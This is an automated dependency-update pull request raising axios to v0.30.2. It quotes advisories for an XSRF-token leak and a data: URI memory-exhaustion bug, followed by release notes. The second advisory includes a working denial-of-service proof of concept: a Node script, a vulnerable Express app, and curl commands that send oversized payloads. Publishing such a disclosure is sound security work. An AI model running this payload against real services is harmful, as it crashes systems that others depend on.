fix(deps): update dependency axios to v0.30.2 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	0.24.0 -> 0.30.2

GitHub Vulnerability Alerts

CVE-2023-45857

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

CVE-2025-58754

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

• The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
• It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
• As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://redirect.github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @​payload.json -o /dev/null```

---

Suggestions

1. Enforce size limits
   For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

2. Stream decoding
   Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

---

Release Notes

axios/axios (axios)

v0.30.2

Compare Source

What's Changed

• Backport maxContentLength vulnerability fix to v0.x by @​FeBe95 in #​7034

New Contributors

• @​FeBe95 made their first contribution in #​7034

Full Changelog: axios/axios@v0.30.1...v0.30.2

v0.30.1

Compare Source

Release notes:

Bug Fixes

• chore(deps): bump form-data from 4.0.0 to 4.0.4 for v0.x by @​wolandec in #​6978

Contributors to this release

• @​wolandec made their first contribution in #​6978

Full Changelog: axios/axios@v0.30.0...v0.30.1

v0.30.0

Compare Source

Release notes:

Bug Fixes

• fix: modify log while request is aborted by @​mori5321 in #​4917
• fix: update CHANGELOG.md for v0.x by @​TehZarathustra in #​6271
• fix: modify upgrade guide for 0.28.1's breaking change by @​nafeger in #​6787
• fix: backport allowAbsoluteUrls vulnerability fix to v0.x by @​thatguyinabeanie in #​6829
• fix: add allowAbsoluteUrls type by @​thatguyinabeanie in #​6849

Contributors to this release

• @​mori5321 made their first contribution in #​4917
• @​TehZarathustra made their first contribution in #​6271
• @​nafeger made their first contribution in #​6787
• @​thatguyinabeanie made their first contribution in #​6829

Full Changelog: axios/axios@v0.29.0...v0.30.0

v0.29.0

Compare Source

Release notes:

Bug Fixes

• fix(backport): backport security fixes in commits #​6167 and #​6163 to v0.x by @​Sean-Powell in #​6402
• fix: omit nulls in params by @​Willshaw in #​6394
• fix(backport): fix paramsSerializer function validation by @​solonzhu in #​6361
• fix: Regular Expression Denial of Service (ReDoS) by @​qiongshusheng in #​6708

Contributors to this release

• @​Sean-Powell made their first contribution in #​6402
• @​Willshaw made their first contribution in #​6394
• @​solonzhu made their first contribution in #​6361
• @​qiongshusheng made their first contribution in #​6708

v0.28.1

Compare Source

Release notes:

Release notes:

Bug Fixes

• fix(backport): custom params serializer support (#​6263)
• fix(backport): uncaught ReferenceError req is not defined (#​6307)

v0.28.0

Compare Source

Release notes:

Bug Fixes

• fix(security): fixed CVE-2023-45857 by backporting withXSRFToken option to v0.x (#​6091)

Backports from v1.x:

• Allow null indexes on formSerializer and paramsSerializer v0.x (#​4961)
• Fixing content-type header repeated #​4745
• Fixed timeout error message for HTTP 4738
• Added axios.formToJSON method (#​4735)
• URL params serializer (#​4734)
• Fixed toFormData Blob issue on node>v17 #​4728
• Adding types for progress event callbacks #​4675
• Fixed max body length defaults #​4731
• Added data URL support for node.js (#​4725)
• Added isCancel type assert (#​4293)
• Added the ability for the url-encoded-form serializer to respect the formSerializer config (#​4721)
• Add string[] to AxiosRequestHeaders type (#​4322)
• Allow type definition for axios instance methods (#​4224)
• Fixed AxiosError stack capturing; (#​4718)
• Fixed AxiosError status code type; (#​4717)
• Adding Canceler parameters config and request (#​4711)
• fix(types): allow to specify partial default headers for instance creation (#​4185)
• Added blob to the list of protocols supported by the browser (#​4678)
• Fixing Z_BUF_ERROR when no content (#​4701)
• Fixed race condition on immediate requests cancellation (#​4261)
• Added a clear() function to the request and response interceptors object so a user can ensure that all interceptors have been removed from an Axios instance #​4248
• Added generic AxiosAbortSignal TS interface to avoid importing AbortController polyfill (#​4229)
• Fix TS definition for AxiosRequestTransformer (#​4201)
• Use type alias instead of interface for AxiosPromise (#​4505)
• Include request and config when creating a CanceledError instance (#​4659)
• Added generic TS types for the exposed toFormData helper (#​4668)
• Optimized the code that checks cancellation (#​4587)
• Replaced webpack with rollup (#​4596)
• Added stack trace to AxiosError (#​4624)
• Updated AxiosError.config to be optional in the type definition (#​4665)
• Removed incorrect argument for NetworkError constructor (#​4656)

v0.27.2

Compare Source

Fixes and Functionality:

• Fixed FormData posting in browser environment by reverting #​3785 (#​4640)
• Enhanced protocol parsing implementation (#​4639)
• Fixed bundle size

v0.27.1

Compare Source

Fixes and Functionality:

• Removed import of url module in browser build due to huge size overhead and builds being broken (#​4594)
• Bumped follow-redirects to ^1.14.9 (#​4615)

v0.27.0

Compare Source

Breaking changes:

• New toFormData helper function that allows the implementor to pass an object and allow axios to convert it to FormData (#​3757)
• Removed functionality that removed the the Content-Type request header when passing FormData (#​3785)
• (*) Refactored error handling implementing AxiosError as a constructor, this is a large change to error handling on the whole (#​3645)
• Separated responsibility for FormData instantiation between transformRequest and toFormData (#​4470)
• (*) Improved and fixed multiple issues with FormData support (#​4448)

QOL and DevX improvements:

• Added a multipart/form-data testing playground allowing contributors to debug changes easily (#​4465)

Fixes and Functionality:

• Refactored project file structure to avoid circular imports (#​4515) & (#​4516)
• Bumped follow-redirects to ^1.14.9 (#​4562)

Internal and Tests:

• Updated dev dependencies to latest version

Documentation:

• Fixing incorrect link in changelog (#​4551)

Notes:

• (*) Please read these pull requests before updating, these changes are very impactful and far reaching.

v0.26.1

Compare Source

Fixes and Functionality:

• Refactored project file structure to avoid circular imports (#​4220)

v0.26.0

Compare Source

Fixes and Functionality:

• Fixed The timeoutErrorMessage property in config not work with Node.js (#​3581)
• Added errors to be displayed when the query parsing process itself fails (#​3961)
• Fix/remove url required (#​4426)
• Update follow-redirects dependency due to Vulnerability (#​4462)
• Bump karma from 6.3.11 to 6.3.14 (#​4461)
• Bump follow-redirects from 1.14.7 to 1.14.8 (#​4473)

v0.25.0

Compare Source

Breaking changes:

• Fixing maxBodyLength enforcement (#​3786)
• Don't rely on strict mode behaviour for arguments (#​3470)
• Adding error handling when missing url (#​3791)
• Update isAbsoluteURL.js removing escaping of non-special characters (#​3809)
• Use native Array.isArray() in utils.js (#​3836)
• Adding error handling inside stream end callback (#​3967)

Fixes and Functionality:

• Added aborted even handler (#​3916)
• Header types expanded allowing boolean and number types (#​4144)
• Fix cancel signature allowing cancel message to be undefined (#​3153)
• Updated type checks to be formulated better (#​3342)
• Avoid unnecessary buffer allocations (#​3321)
• Adding a socket handler to keep TCP connection live when processing long living requests (#​3422)
• Added toFormData helper function (#​3757)
• Adding responseEncoding prop type in AxiosRequestConfig (#​3918)

Internal and Tests:

• Adding axios-test-instance to ecosystem (#​3786)
• Optimize the logic of isAxiosError (#​3546)
• Add tests and documentation to display how multiple inceptors work (#​3564)
• Updating follow-redirects to version 1.14.7 (#​4379)

Documentation:

• Fixing changelog to show corrext pull request (#​4219)
• Update upgrade guide for https proxy setting (#​3604)

Huge thanks to everyone who contributed to this release via code (authors listed below) or via reviews and triaging on GitHub:

• Jay
• Rijk van Zanten
• Kohta Ito
• Brandon Faulkner
• Stefano Magni
• enofan
• Andrey Pechkurov
• Doowonee
• Emil Broman
• Remco Haszing
• Black-Hole
• Wolfram Kriesing
• Andrew Ovens
• Paulo Renato
• Ben Carp
• Hirotaka Tagawa
• 狼族小狈
• C. Lewis
• Felipe Carvalho
• Daniel
• Gustavo Sales

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